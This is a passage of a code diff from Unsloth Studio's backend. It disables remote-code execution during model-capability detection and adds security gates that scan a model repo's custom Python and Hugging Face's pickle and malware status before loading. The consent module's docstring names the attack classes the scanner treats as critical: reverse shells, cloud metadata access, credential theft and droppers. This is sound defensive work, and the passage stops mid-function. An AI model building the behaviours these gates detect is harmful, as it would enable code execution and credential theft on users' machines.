     "    architectures = getattr(config, 'architectures', None) or []\n"
     "    model_type = getattr(config, 'model_type', None)\n"
-    "    if model_type in _AUDIO_ONLY_MODEL_TYPES:\n"
-    "        return False\n"
-    "    return (\n"
-    "        any(x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)\n"
-    "        or hasattr(config, 'vision_config')\n"
+    "    explicit_vision = (\n"
+    "        hasattr(config, 'vision_config')\n"
     "        or hasattr(config, 'img_processor')\n"
     "        or hasattr(config, 'image_token_index')\n"
+    "        or hasattr(config, 'projector_config')\n"
+    "    )\n"
+    "    if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision:\n"
+    "        return False\n"
+    "    return (\n"
+    "        explicit_vision\n"
+    "        or any(x in _VLM_CLASS_NAMES for x in architectures)\n"
+    "        or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)\n"
     "        or model_type in _VLM_MODEL_TYPES\n"
     "    )\n"
 )
@@ -610,7 +684,8 @@ if backend_dir not in sys.path:
 try:
     from transformers import AutoConfig
 
-    kwargs = {"trust_remote_code": True}
+    # Capability detection never executes model repo code.
+    kwargs = {"trust_remote_code": False}
     if token:
         kwargs["token"] = token
     config = AutoConfig.from_pretrained(model_name, **kwargs)
@@ -780,8 +855,15 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
     Returns True/False for definitive results, or None on transient errors
     (network, timeout, subprocess failure) so the caller knows not to cache.
     """
-    # Models needing transformers 5.x must be checked in a subprocess: the main
-    # process (transformers 4.57.x) doesn't recognize their architectures.
+    # Try the raw-config reader FIRST (code-free, version-independent): it classifies
+    # repo-code VLMs like DeepSeek-OCR via declarative vision_config with no remote-code
+    # execution or transformers-5.x subprocess.
+    raw = _raw_config_has_vision_config(model_name, hf_token = hf_token)
+    if raw is not None:
+        return raw
+
+    # Raw read failed transiently: fall back to AutoConfig with remote code DISABLED
+    # (in a transformers-5.x subprocess when the main process can't parse the arch).
     from utils.transformers_version import needs_transformers_5
 
     if needs_transformers_5(model_name):
@@ -789,21 +871,13 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
             "Model '%s' needs transformers 5.x -- checking vision via subprocess",
             model_name,
         )
-        result = _is_vision_model_subprocess(model_name, hf_token = hf_token)
-        if result is not None:
-            return result
-        return _raw_config_has_vision_config(model_name, hf_token = hf_token)
+        return _is_vision_model_subprocess(model_name, hf_token = hf_token)
 
     try:
         config = load_model_config(model_name, use_auth = True, token = hf_token)
 
-        # Exclude audio-only models sharing the ForConditionalGeneration suffix
-        # (e.g. CsmForConditionalGeneration, WhisperForConditionalGeneration)
-        model_type = getattr(config, "model_type", None)
-        if model_type in _AUDIO_ONLY_MODEL_TYPES:
-            return False
-
         if _is_vlm(config):
+            model_type = getattr(config, "model_type", None)
             archs = getattr(config, "architectures", None) or []
             logger.info(
                 "Model %s detected as VLM (model_type=%s, architectures=%s)",
@@ -840,8 +914,9 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
 
 VALID_AUDIO_TYPES = ("snac", "csm", "bicodec", "dac", "whisper", "audio_vlm")
 
-# Cache detection per session to avoid repeated API calls
-_audio_detection_cache: Dict[str, Optional[str]] = {}
+# Keyed by (normalized_name, token_fingerprint) like the vision cache, so an
+# unauthenticated miss (None) cannot poison a later authenticated lookup.
+_audio_detection_cache: Dict[Tuple[str, Optional[str]], Optional[str]] = {}
 
 # Tokenizer token patterns → audio_type (all 6 types from tokenizer_config.json)
 _AUDIO_TOKEN_PATTERNS = {
@@ -867,22 +942,38 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option
     Returns an audio_type string ('snac', 'csm', 'bicodec', 'dac', 'whisper',
     'audio_vlm') or None.
     """
-    if model_name in _audio_detection_cache:
-        return _audio_detection_cache[model_name]
+    # Normalize casing + include the token fingerprint (mirrors is_vision_model).
+    try:
+        if is_local_path(model_name):
+            resolved_name = normalize_path(model_name)
+        else:
+            resolved_name = resolve_cached_repo_id_case(model_name)
+    except Exception:
+        resolved_name = model_name
+    cache_key = (resolved_name, _token_fingerprint(hf_token))
+    if cache_key in _audio_detection_cache:
+        return _audio_detection_cache[cache_key]
 
-    result = _detect_audio_from_tokenizer(model_name, hf_token)
-
-    _audio_detection_cache[model_name] = result
+    result, definitive = _detect_audio_from_tokenizer(model_name, hf_token)
+    # Cache only definitive results; a transient read failure stays None and retries.
+    if definitive:
+        _audio_detection_cache[cache_key] = result
     if result:
         logger.info(f"Model {model_name} detected as audio model: audio_type={result}")
     return result
 
 
-def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None) -> Optional[str]:
+def _detect_audio_from_tokenizer(
+    model_name: str, hf_token: Optional[str] = None
+) -> Tuple[Optional[str], bool]:
     """Detect audio type from tokenizer special tokens.
 
     Checks local HF cache first, then fetches tokenizer_config.json from HF;
     examines added_tokens_decoder for distinctive patterns.
+
+    Returns (audio_type_or_None, definitive). definitive is False only on a
+    transient read failure (network/timeout/5xx) so the caller skips caching and
+    retries; a successful read with no audio tokens is a definitive None.
     """
 
     def _check_token_patterns(tok_config: dict) -> Optional[str]:
@@ -895,6 +986,8 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None
                 return audio_type
         return None
 
+    read_any = False  # parsed at least one tokenizer_config -> a None is definitive
+
     # 1) Local HF cache first (works for gated/offline models)
     try:
         repo_dir = get_cache_path(model_name)
@@ -909,9 +1002,10 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None
                         tok_file = snapshot / tok_path
                         if tok_file.exists():
                             tok_config = json.loads(tok_file.read_text())
+                            read_any = True
                             result = _check_token_patterns(tok_config)
                             if result:
-                                return result
+                                return result, True
     except Exception as e:
         logger.debug(f"Could not check local cache for {model_name}: {e}")
 
@@ -919,28 +1013,40 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None
     try:
         import requests
         import os
+    except Exception:
+        return None, read_any
 
-        paths_to_try = ["tokenizer_config.json", "LLM/tokenizer_config.json"]
-        token = hf_token or os.environ.get("HF_TOKEN")
-        headers = {}
-        if token:
-            headers["Authorization"] = f"Bearer {token}"
+    paths_to_try = ["tokenizer_config.json", "LLM/tokenizer_config.json"]
+    token = hf_token or os.environ.get("HF_TOKEN")
+    headers = {"Authorization": f"Bearer {token}"} if token else {}
 
-        for tok_path in paths_to_try:
-            url = f"https://huggingface.co/{model_name}/resolve/main/{tok_path}"
+    transient = False  # a fetch failed for a non-404 reason (network/5xx)
+    for tok_path in paths_to_try:
+        url = f"https://huggingface.co/{model_name}/resolve/main/{tok_path}"
+        try:
             resp = requests.get(url, headers = headers, timeout = 15)
-            if not resp.ok:
-                continue
-
+        except Exception as e:
+            logger.debug(f"Could not fetch {tok_path} for {model_name}: {e}")
+            transient = True
+            continue
+        if resp.status_code == 404:
+            continue  # genuinely absent on this path
+        if not resp.ok:
+            transient = True  # 5xx/403/etc -- can't tell, don't cache
+            continue
+        try:
             tok_config = resp.json()
-            result = _check_token_patterns(tok_config)
-            if result:
-                return result
+        except Exception as e:
+            logger.debug(f"Bad tokenizer_config for {model_name}/{tok_path}: {e}")
+            transient = True
+            continue
+        read_any = True
+        result = _check_token_patterns(tok_config)
+        if result:
+            return result, True
 
-        return None
-    except Exception as e:
-        logger.debug(f"Could not detect audio type from tokenizer for {model_name}: {e}")
-        return None
+    # No audio tokens: definitive unless every attempt failed transiently.
+    return None, (read_any or not transient)
 
 
 def is_audio_input_type(audio_type: Optional[str]) -> bool:
@@ -2135,7 +2241,7 @@ def get_base_model_from_lora(lora_path: str) -> Optional[str]:
                     return base_model
 
         # Fallback: try training_args.bin (requires torch)
-        # TODO: torch.load default weights_only=True (torch >= 2.6) rejects pickled TrainingArguments; also an RCE sink for third-party LoRAs via this route, re-enable behind a trust check if needed.
+        # TODO: torch.load default weights_only=True (torch >= 2.6) rejects pickled TrainingArguments; also an remote code execution sink for third-party LoRAs via this route, re-enable behind a trust check if needed.
         # training_args_path = lora_path_obj / "training_args.bin"
         # if training_args_path.exists():
         #     try:
@@ -2169,6 +2275,74 @@ def get_base_model_from_lora(lora_path: str) -> Optional[str]:
         return None
 
 
+def get_base_model_from_lora_identifier(
+    identifier: str, hf_token: Optional[str] = None
+) -> Optional[str]:
+    """Resolve a LoRA adapter's base model for a LOCAL dir OR a REMOTE HF repo.
+
+    ``get_base_model_from_lora`` only reads a local adapter directory (it requires
+    ``is_dir()``). The SECURITY gates must also follow a *remote* adapter's base,
+    because the base model's code / weights are what execute on load: an attacker's
+    adapter repo can point ``base_model_name_or_path`` at a base carrying a poisoned
+    pickle or HIGH auto_map code. For a remote repo id we fetch ONLY the small
+    ``adapter_config.json`` (metadata; never a weight file) and read the base. Use
+    this in the gate paths so a remote LoRA base is scanned, not just the adapter.
+
+    Returns the base model id, or ``None`` when the identifier is not a LoRA adapter
+    or the base cannot be determined (the caller still scans the identifier itself).
+
+    A genuine 404 (no ``adapter_config.json`` / repo absent) is distinguished from a
+    transient error: the latter is retried once, then logged as a WARNING (a missed
+    base would be scanned by neither gate), so a network blip does not silently and
+    invisibly skip the base.
+    """
+    # Local path: reuse the existing directory reader (identical behavior).
+    try:
+        if is_local_path(identifier):
+            return get_base_model_from_lora(identifier)
+    except Exception:
+        return get_base_model_from_lora(identifier)
+
+    # Remote repo id: read base_model_name_or_path from adapter_config.json only.
+    from huggingface_hub import hf_hub_download
+    from huggingface_hub.utils import EntryNotFoundError, RepositoryNotFoundError
+
+    last_exc = None
+    for _attempt in range(2):  # one retry: a transient blip must not skip the base
+        try:
+            cfg_path = hf_hub_download(
+                identifier, "adapter_config.json", token = hf_token if hf_token else None
+            )
+        except (EntryNotFoundError, RepositoryNotFoundError):
+            # No adapter_config.json -> not a resolvable LoRA; caller scans the identifier.
+            return None
+        except Exception as exc:  # transient / auth / network -> retry once
+            last_exc = exc
+            continue
+        try:
+            with open(cfg_path, "r") as f:
+                base_model = json.load(f).get("base_model_name_or_path")
+        except Exception as exc:
+            logger.warning("Could not parse adapter_config.json for '%s': %s", identifier, exc)
+            return None
+        if base_model:
+            logger.info(
+                "Detected base model from remote adapter_config.json (%s): %s",
+                identifier,
+                base_model,
+            )
+        return base_model  # may be None if the key is absent (still a valid answer)
+
+    # Both attempts failed transiently: log loudly -- a missed base is gated by neither gate.
+    logger.warning(
+        "Could not resolve remote LoRA base for '%s' after retry (%s); its base, if "
+        "any, will not be added to the security scan targets.",
+        identifier,
+        type(last_exc).__name__ if last_exc else "unknown",
+    )
+    return None
+
+
 # Status indicators that appear in UI dropdowns
 UI_STATUS_INDICATORS = [" (Ready)", " (Loading...)", " (Active)", "↓ "]
 
diff --git a/studio/backend/utils/security/__init__.py b/studio/backend/utils/security/__init__.py
new file mode 100644
index 0000000000..b794b1835e
--- /dev/null
+++ b/studio/backend/utils/security/__init__.py
@@ -0,0 +1,107 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Security helpers for the ``trust_remote_code`` boundary.
+
+Two orthogonal questions: ``trusted_org.is_trusted_org_repo`` (may we AUTO-enable
+remote code for this name?) and ``remote_code_scan`` (WHAT would run if the user
+opts in?). The load paths try ``trust_remote_code=False`` first and, on the
+transformers "requires trust_remote_code" error, scan the repo's ``auto_map``,
+surface findings + a pinning fingerprint, and require explicit consent before
+retrying with it enabled. Detection (is-vision / version / size) reads raw
+``config.json`` and never enters this flow.
+"""
+
+from utils.security.consent import (  # noqa: F401
+    RemoteCodeDecision,
+    evaluate_remote_code_consent,
+    evaluate_remote_code_consent_for_targets,
+)
+from utils.security.file_security import (  # noqa: F401
+    FileSecurityDecision,
+    evaluate_file_security,
+    security_load_subdirs,
+)
+from utils.security.remote_code_scan import (  # noqa: F401
+    CRITICAL,
+    HIGH,
+    MEDIUM,
+    Finding,
+    RemoteCodeUnscannable,
+    ScanResult,
+    remote_code_fingerprint,
+    repo_remote_code_files,
+    scan_remote_code_files,
+)
+from utils.security.trusted_org import is_trusted_org_repo  # noqa: F401
+
+__all__ = [
+    "is_trusted_org_repo",
+    "scan_remote_code_files",
+    "repo_remote_code_files",
+    "RemoteCodeUnscannable",
+    "remote_code_fingerprint",
+    "should_block_remote_code",
+    "evaluate_remote_code_consent",
+    "evaluate_remote_code_consent_for_targets",
+    "preflight_remote_code_consent",
+    "preflight_remote_code_consent_for_targets",
+    "evaluate_file_security",
+    "security_load_subdirs",
+    "FileSecurityDecision",
+    "RemoteCodeDecision",
+    "ScanResult",
+    "Finding",
+    "CRITICAL",
+    "HIGH",
+    "MEDIUM",
+]
+
+
+def preflight_remote_code_consent(
+    model_name: str,
+    hf_token = None,
+    *,
+    trust_remote_code: bool = True,
+    approved_fingerprint = None,
+    trusted_org = None,
+) -> "RemoteCodeDecision":
+    """Scan a model's ``auto_map`` for the consent dialog. Thin wrapper over
+    ``evaluate_remote_code_consent`` defaulting ``trust_remote_code=True`` so the scan
+    runs whenever the repo declares custom code; the start routes pass the user's real
+    value + approved fingerprint to enforce consent before any state mutation.
+    """
+    return evaluate_remote_code_consent(
+        model_name,
+        hf_token,
+        trust_remote_code = trust_remote_code,
+        approved_fingerprint = approved_fingerprint,
+        trusted_org = trusted_org,
+    )
+
+
+def preflight_remote_code_consent_for_targets(
+    targets,
+    hf_token = None,
+    *,
+    trust_remote_code: bool = True,
+    approved_fingerprint = None,
+) -> "RemoteCodeDecision":
+    """Preflight consent over multiple repos (a LoRA adapter plus its base) scanned as
+    one combined unit with a single pinning fingerprint. Wrapper defaulting
+    ``trust_remote_code=True``; the load passes the user's real value + fingerprint.
+    """
+    return evaluate_remote_code_consent_for_targets(
+        targets,
+        hf_token,
+        trust_remote_code = trust_remote_code,
+        approved_fingerprint = approved_fingerprint,
+    )
+
+
+def should_block_remote_code(result: "ScanResult") -> bool:
+    """Recommend blocking by default on CRITICAL/HIGH findings. Advisory only: the
+    caller still surfaces findings and takes explicit consent.
+    """
+    sev = result.max_severity
+    return sev in (CRITICAL, HIGH)
diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py
new file mode 100644
index 0000000000..d75da37971
--- /dev/null
+++ b/studio/backend/utils/security/consent.py
@@ -0,0 +1,358 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Consent gate for loads that would execute model repo code.
+
+The LOAD-path counterpart to the capability probes (which read raw config and
+never need remote code). A deliberate load calls ``evaluate_remote_code_consent``
+right before passing ``trust_remote_code=True``, and decides by the severity of a
+static scan of the repo's ``auto_map`` ``.py``:
+
+* No ``auto_map`` in any config (model/tokenizer/processor) -> nothing runs; allow.
+* CRITICAL (reverse shell, IMDS, credential theft, droppers) -> hard block, never
+  approvable, even first-party (defends a compromised trusted repo).
+* HIGH/MEDIUM (subprocess/exec/eval/network/b64decode, or a large embedded blob) ->
+  block but user-approvable: the dialog pins approval to the scanned ``fingerprint``.
+  Applies to EVERY repo; first-party is not a blanket bypass.
+* ``auto_map`` present but unscannable (gated/offline/listing failure) -> fail
+  closed: hard block, since we cannot verify or fingerprint unseen code.
+
+Hardening + consent, not a sandbox: static patterns are evadable, so subprocess /
+venv isolation remains the containment layer.
+"""
+
+from dataclasses import dataclass, field
+from typing import Optional
+
+from loggers import get_logger
+
+from utils.security.remote_code_scan import (
+    CRITICAL,
+    HIGH,
+    MEDIUM,
+    REMOTE_CODE_CONFIG_FILES,
+    RemoteCodeUnscannable,
+    remote_code_fingerprint,
+    repo_remote_code_files,
+    scan_remote_code_files,
+)
+
+logger = get_logger(__name__)
+
+
+@dataclass
+class RemoteCodeDecision:
+    """Outcome of the consent gate for one (model, trust_remote_code) load."""
+
+    model_name: str
+    has_remote_code: bool
+    blocked: bool
+    fingerprint: Optional[str]
+    max_severity: Optional[str]
+    findings_summary: str
+    reason: str
+    findings: list = field(default_factory = list)  # structured [{severity,file,check,evidence}]
+    approvable: bool = True  # False only for CRITICAL (user cannot override)
+
+    def response_payload(self) -> dict:
+        """Machine-readable detail for the frontend. ``error_kind`` splits a
+        user-approvable prompt (``remote_code_consent_required``) from a CRITICAL hard
+        block (``remote_code_blocked``).
+        """
+        return {
+            "error_kind": (
+                "remote_code_consent_required" if self.approvable else "remote_code_blocked"
+            ),
+            "model_name": self.model_name,
+            "has_remote_code": self.has_remote_code,
+            "approvable": self.approvable,
+            "fingerprint": self.fingerprint,
+            "max_severity": self.max_severity,
+            "findings": self.findings,
+            "findings_summary": self.findings_summary,
+            "reason": self.reason,
+        }
+
+
+# trust_remote_code runs auto_map from ANY of these configs (model/tokenizer/
+# processor), so all of them gate consent (scanning only config.json/tokenizer would
+# miss a custom-processor VLM). The list lives in remote_code_scan so the gate and
+# scanner stay in lockstep.
+_REMOTE_CODE_CONFIG_FILES = REMOTE_CODE_CONFIG_FILES
+
+
+def _config_has_auto_map(model_name: str, hf_token: Optional[str] = None) -> Optional[bool]:
+    """Whether any config (model/tokenizer/processor) declares an ``auto_map`` the load
+    would execute. Reads raw JSON with ``hf_token``; returns None when a config is
+    unreadable (transient/auth) so the caller treats it as "unknown" and scans, False
+    when the repo genuinely ships none. GGUF is False (llama.cpp never runs auto_map);
+    this is the single chokepoint for that rule, shared by validate / scan / worker.
+    """
+    # A direct .gguf FILE loads via llama.cpp (auto_map inert). A bare repo id ending in
+    # .gguf can still ship safetensors + auto_map, so it falls through to the scan.
+    if _is_direct_gguf_file_ref(model_name):
+        return False
+    configs = _load_remote_code_configs(model_name, hf_token)
+    if configs is None:
+        return None
+    if not any(bool((cfg or {}).get("auto_map")) for cfg in configs):
+        return False
+    # auto_map present but a GGUF repo -> inert. Checked only when auto_map exists, so
+    # normal models skip the extra listing.
+    if _is_gguf_repo(model_name, hf_token):
+        logger.debug("Ignoring auto_map for GGUF repo '%s' (llama.cpp never runs it).", model_name)
+        return False
+    return True
+
+
+def _is_direct_gguf_file_ref(model_name: str) -> bool:
+    """Whether ``model_name`` names a specific ``.gguf`` FILE (llama.cpp), not a repo:
+    a local ``.gguf`` path or a remote ``org/repo/.../file.gguf`` (>= 2 slashes). A bare
+    ``org/name.gguf`` is a repo id that can still ship safetensors + auto_map, so it
+    falls through to the scan.
+    """
+    name = model_name or ""
+    if not name.lower().endswith(".gguf"):
+        return False
+    try:
+        from utils.paths import is_local_path
+        if is_local_path(name):
+            return True
+    except Exception:
+        pass
+    # Remote: a file reference is repo_id ("org/name") + filename => >= 2 slashes.
+    return name.count("/") >= 2
+
+
+# Weight formats transformers can load (and thus run auto_map for). A repo shipping any
+# of these is not GGUF-only -- the user could load it through transformers -- so consent
+# still applies even if it also ships a .gguf.
+_TRANSFORMERS_WEIGHT_SUFFIXES = (
+    ".safetensors",
+    ".bin",
+    ".pt",
+    ".pth",
+    ".h5",
+    ".msgpack",
+    ".onnx",
+    ".ckpt",
+)
+
+
+def _is_gguf_repo(model_name: str, hf_token: Optional[str] = None) -> bool:
+    """Whether a remote repo loads only through llama.cpp (GGUF weights and NO
+    transformers-loadable weights), making its config inert. A repo that also ships
+    transformers weights is NOT GGUF (auto_map could run, so still gate). A listing
+    failure is treated as "not known-GGUF" (fall through to scan).
+    """
+    try:
+        from utils.paths import is_local_path
+
+        if is_local_path(model_name):
+            return False
+        from huggingface_hub import list_repo_files
+
+        files = [f.lower() for f in list_repo_files(model_name, token = hf_token)]
+        has_gguf = any(f.endswith(".gguf") for f in files)
+        has_transformers_weights = any(f.endswith(_TRANSFORMERS_WEIGHT_SUFFIXES) for f in files)
+        return has_gguf and not has_transformers_weights
+    except Exception:
+        return False
+
+
+def _load_remote_code_configs(model_name: str, hf_token: Optional[str] = None) -> Optional[list]:
+    """Read every config that can declare ``auto_map`` (model/tokenizer/processor) as
+    raw dicts. Returns the configs present (``[]`` when all 404, a definitive "no
+    auto_map"), or None when one is unreadable (transient/auth) so the caller scans.
+    The 404-vs-error split matters: real absence is "allow"; unreadable is "unknown".
+    """
+    import json
+    from pathlib import Path
+
+    try:
+        from utils.paths import is_local_path, normalize_path
+
+        if is_local_path(model_name):
+            root = Path(normalize_path(model_name)).expanduser()
+            configs = []
+            for name in _REMOTE_CODE_CONFIG_FILES:
+                p = root / name
+                if p.is_file():
+                    configs.append(json.loads(p.read_text()))
+            return configs
+
+        from huggingface_hub import hf_hub_download
+        from huggingface_hub.utils import EntryNotFoundError
+
+        configs = []
+        for name in _REMOTE_CODE_CONFIG_FILES:
+            try:
+                p = hf_hub_download(repo_id = model_name, filename = name, token = hf_token)
+            except EntryNotFoundError:
+                continue  # genuine 404 -> truly absent
+            except Exception:
+                # Transient/auth failure is not "absent" -> fail closed to "unknown" so
+                # the caller scans (a tokenizer/processor-only auto_map must not slip by).
+                return None
+            configs.append(json.loads(Path(p).read_text()))
+        # Every config was read or a genuine 404 -> an empty list is a definitive
+        # "no auto_map", not "unknown".
+        return configs
+    except Exception as exc:
+        logger.debug("auto_map check could not read config for %s: %s", model_name, exc)
+        return None
+
+
+def evaluate_remote_code_consent(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    *,
+    trust_remote_code: bool,
+    approved_fingerprint: Optional[str] = None,
+    trusted_org: Optional[bool] = None,
+) -> RemoteCodeDecision:
+    """Single-repo consent; thin wrapper over the for_targets form. ``trusted_org`` is
+    accepted for backward compatibility but no longer changes the decision.
+    """
+    return evaluate_remote_code_consent_for_targets(
+        [model_name],
+        hf_token,
+        trust_remote_code = trust_remote_code,
+        approved_fingerprint = approved_fingerprint,
+    )
+
+
+def _fingerprint_target_key(target: str) -> str:
+    """Namespace key for a target in the combined fingerprint. The pin is over CODE
+    BYTES, not the repo-id spelling: the scan canonicalizes a cached repo's casing while
+    workers pass raw input, so lowercase Hub ids (keep local paths as-is) or ``Org/Model``
+    vs ``org/model`` would fingerprint differently and reject a valid approval.
+    """
+    try:
+        from utils.paths import is_local_path
+        if is_local_path(target):
+            return target
+    except Exception:
+        return target
+    return target.lower()
+
+
+def evaluate_remote_code_consent_for_targets(
+    targets,
+    hf_token: Optional[str] = None,
+    *,
+    trust_remote_code: bool,
+    approved_fingerprint: Optional[str] = None,
+) -> RemoteCodeDecision:
+    """Decide whether a ``trust_remote_code=True`` load may proceed, over every repo whose
+    code the load would execute. A LoRA load runs adapter AND base code, so all targets
+    are scanned as ONE unit and pinned by ONE fingerprint over the union of their ``.py``
+    -- one approval covers every repo, and a base-only fingerprint can't leave an
+    adapter's own ``auto_map`` unreviewed. On ``blocked``, the caller surfaces
+    ``response_payload()`` and retries with ``approved_fingerprint`` if the user accepts.
+    """
+    targets = [t for t in dict.fromkeys(targets) if t]
+    primary = targets[0] if targets else ""
+
+    if not trust_remote_code:
+        return RemoteCodeDecision(
+            primary, False, False, None, None, "", "trust_remote_code disabled"
+        )
+
+    # Gather executable .py from every target that ships auto_map. A definitively
+    # auto_map-free target contributes nothing; an unreadable config is scanned anyway.
+    # If ANY target's code is present but unscannable, fail the whole load closed.
+    combined: dict = {}
+    has_remote_code = False
+    for target in targets:
+        if _config_has_auto_map(target, hf_token) is False:
+            continue
+        has_remote_code = True
+        try:
+            files = repo_remote_code_files(target, hf_token = hf_token)
+        except RemoteCodeUnscannable:
+            logger.warning(
+                "Blocking trust_remote_code load of '%s': remote code present (auto_map) "
+                "but could not be downloaded and scanned.",
+                target,
+            )
+            return RemoteCodeDecision(
+                target,
+                True,
+                True,
+                None,
+                None,
+                "Remote code is present (auto_map) but could not be downloaded and "
+                "scanned. Retry when the repo is reachable and the correct Hugging Face "
+                "token is set.",
+                "blocked: remote code could not be scanned",
+                approvable = False,
+            )
+        # Namespace filenames by (casing-normalized) target so two repos' same-named
+        # files stay distinct and the pin tracks code, not the repo-id spelling.
+        target_key = _fingerprint_target_key(target)
+        for filename, body in files.items():
+            combined[f"{target_key}\0{filename}"] = body
+
+    if not has_remote_code:
+        return RemoteCodeDecision(
+            primary, False, False, None, None, "", "no auto_map; trust_remote_code is a no-op"
+        )
+
+    if not combined:
+        # auto_map declared but no executable .py (e.g. a GGUF repo's vestigial
+        # auto_map) -> nothing to run -> allow.
+        return RemoteCodeDecision(
+            primary,
+            False,
+            False,
+            None,
+            None,
+            "",
+            "auto_map declared but no executable code present; trust_remote_code is a no-op",
+        )
+
+    result = scan_remote_code_files(combined)
+    fingerprint = remote_code_fingerprint(combined)
+    sev = result.max_severity
+
+    # CRITICAL is never approvable; a fingerprint pins approval for lower severities only.
+    approvable = sev != CRITICAL
+    approved = (
+        approvable and approved_fingerprint is not None and approved_fingerprint == fingerprint
+    )
+
+    if sev == CRITICAL:
+        blocked, reason = True, "blocked: scan found CRITICAL patterns"
+    elif approved:
+        blocked, reason = False, "approved by fingerprint"
+    elif sev == HIGH:
+        # HIGH is user-approvable but must pin the fingerprint via the dialog, for every
+        # repo including first-party (a compromised trusted repo still needs review).
+        blocked, reason = True, "blocked: scan found HIGH patterns; approval required"
+    elif sev == MEDIUM:
+        # MEDIUM (e.g. a big embedded base64 blob) also pins approval like HIGH, so a
+        # direct API caller can't run flagged code by just setting trust_remote_code=True.
+        blocked, reason = True, "blocked: scan found MEDIUM patterns; approval required"
+    else:
+        blocked, reason = False, "allowed: no high-risk patterns"
+
+    if blocked:
+        logger.warning(
+            "Blocking trust_remote_code load of '%s': scan severity %s (fingerprint %s)",
+            primary,
+            sev,
+            fingerprint[:12],
+        )
+
+    return RemoteCodeDecision(
+        primary,
+        True,
+        blocked,
+        fingerprint,
+        sev,
+        result.summary(),
+        reason,
+        findings = result.findings_payload(),
+        approvable = approvable,
+    )
diff --git a/studio/backend/utils/security/file_security.py b/studio/backend/utils/security/file_security.py
new file mode 100644
index 0000000000..466f326f18
--- /dev/null
+++ b/studio/backend/utils/security/file_security.py
@@ -0,0 +1,368 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Malware / unsafe-file gate for model loads.
+
+The ``trust_remote_code`` consent gate covers the ``auto_map`` Python vector; this
+covers the other one -- a malicious pickle inside a weight file, which executes
+during ``from_pretrained`` deserialization even with ``trust_remote_code=False``.
+It reads Hugging Face's OWN scan (picklescan + ClamAV) via
+``model_info(securityStatus=True).security_repo_status``. METADATA-ONLY: it never
+downloads, opens, or unpickles the flagged files.
+
+Policy:
+  * Hard block, non-approvable.
+  * Block whenever ``filesWithIssues`` lists a non-``safe`` level, regardless of
+    ``scansDone`` (often false even for clean repos). Unknown/future levels fail
+    CLOSED (block) so Hub schema drift cannot silently allow a bad verdict; only a
+    small allowlist of clean / not-yet-scanned levels is non-blocking. The sole
+    fail-open path is an unavailable status (missing field / offline / error).
+  * Scope to the load-path RCE vector: a root-level (or load-subdir-level),
+    code-executing file. Inert formats (safetensors / gguf / config / text) and
+    subdirectory pickles that no root weight-index references are NOT loaded, so
+    they do not block; an index-referenced shard does, wherever it lives. This
+    blocks real malware (eicar's root ``*.pkl``/``*.dat``) without false-blocking
+    repos like ``nvidia/Nemotron-H-8B-Base-8K`` (flagged NeMo pickles under
+    ``nemo/`` that no index lists).
+  * No first-party exemption (scoping is by load path/format, not org).
+  * Local paths are skipped (no Hub scan); a remote ``*.gguf``-named repo is still
+    scanned so a repo cannot dodge the gate by suffixing its name.
+"""
+
+from dataclasses import dataclass, field
+from typing import Optional
+
+from loggers import get_logger
+
+logger = get_logger(__name__)
+
+# Non-blocking levels: clean or not-yet-finished. Anything else (unsafe/suspicious/
+# malicious or a future label) blocks, so Hub schema drift fails CLOSED.
+_NONBLOCKING_LEVELS = frozenset(
+    {"", "safe", "pending", "scanning", "queued", "unscanned", "error", "unknown", "none"}
+)
+
+# Suffixes that cannot execute code on load (tensor-only safetensors, non-pickle gguf,
+# text/markup/images), so a flag on one is never an RCE vector.
+_INERT_SUFFIXES = frozenset(
+    {
+        ".safetensors",
+        ".gguf",
+        ".json",
+        ".txt",
+        ".md",
+        ".rst",
+        ".yaml",
+        ".yml",
+        ".png",
+        ".jpg",
+        ".jpeg",
+        ".gif",
+        ".webp",
+        ".svg",
+        ".bmp",
+        ".gitattributes",
+        ".gitignore",
+    }
+)
+
+# Source files are not deserialized by a weight load; executable repo code runs only
+# via auto_map, which is the consent gate's domain. So a flag on a .py is not this
+# gate's vector (else a flagged helper/train script would false-block).
+_SOURCE_SUFFIXES = frozenset({".py", ".pyc", ".pyx", ".pyi"})
+
+
+# Root weight-index files. from_pretrained reads these to find sharded weights, so a
+# flagged subdir pickle is a load vector iff a root index references it.
+_TRANSFORMERS_INDEX_FILES = (
+    "pytorch_model.bin.index.json",
+    "model.safetensors.index.json",
+    "tf_model.h5.index.json",
+    "flax_model.msgpack.index.json",
+)
+
+
+def _normalize_repo_path(path: str) -> str:
+    """Strip ``./`` prefixes and normalize separators for repo-relative comparison."""
+    p = (path or "").strip().replace("\\", "/")
+    while p.startswith("./"):
+        p = p[2:]
+    return p
+
+
+def _file_suffix(path: str) -> str:
+    """Lowercase ``.ext`` of the basename, or ``""`` if none."""
+    base = _normalize_repo_path(path).rsplit("/", 1)[-1]
+    return "." + base.rsplit(".", 1)[1].lower() if "." in base else ""
+
+
+def _load_relative_path(norm: str, load_subdirs) -> str:
+    """``norm`` relative to a ``from_pretrained`` load root. Some loads read from a
+    snapshot SUBDIRECTORY (Spark-TTS / BiCodec load ``<snapshot>/LLM``), where a file
+    directly under the subdir is root-level, not nested. Strips the matching load-subdir
+    prefix, or returns ``norm`` unchanged when it is not under one.
+    """
+    for subdir in load_subdirs or ():
+        prefix = _normalize_repo_path(subdir).strip("/")
+        if prefix and norm.startswith(prefix + "/"):
